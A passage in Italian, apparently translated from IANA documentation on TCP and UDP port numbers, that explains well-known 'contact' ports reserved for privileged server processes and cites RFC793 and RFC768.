dalla IANA e su molti sistemi possono essere utilizzate solo dai processi di sistema (o di root) o da programmi eseguiti da utenti con accessi privilegiati. Le porte sono utilizzate nelle connessioni TCP [RFC793] per indicare la fine delle connessioni logiche che trasportano conversazioni a lunga distanza. Allo scopo di fornire servizi a utenti sconosciuti, viene definito un servizio di porte 'di contatto'. Questa lista specifica le porte utilizzate dai 'server process' come porte di contatto. Le porte di contatto vengono a volte chiamate 'well known ports' Per ampliare le possibilita', le stesse porte vengono estese anche al protocollo UDP [RFC768]. Le porte assegnate, fanno uso di una piccola parte dei numeri delle porte disponibili. Per molti anni, le porte assegnate sono state solo q